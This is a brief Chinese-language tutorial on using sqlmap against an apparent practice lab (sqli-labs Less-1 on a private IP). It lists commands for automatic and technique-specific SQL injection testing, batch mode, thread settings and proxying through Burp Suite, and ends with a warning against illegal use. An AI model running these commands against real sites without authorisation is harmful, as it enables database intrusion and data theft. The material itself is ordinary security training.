一、不指定注入类型，会自动进行多种注入测试
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1"
二、指定注入
1、指定联合注入
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --technique U
2、指定联合加布尔注入
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --technique UB
三、指定其他注入
1、B：布尔注入
2、E：报错注入
3、U：联合注入
4、S：语句查询注入
5、T：延时注入
四、自动选择默认提示，不会弹出提示框让我们选择yes或no
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --batch
五、指定线程数，最大线程数是10
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --thread 5 --batch
六、设置代理
1、先设置好代理
2、sqlmap指定代理服务器
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --proxy="http://127.0.0.1:8080"
3、发送的所有payload，我们在BurpSuite中都可以看到
禁止非法，后果自负
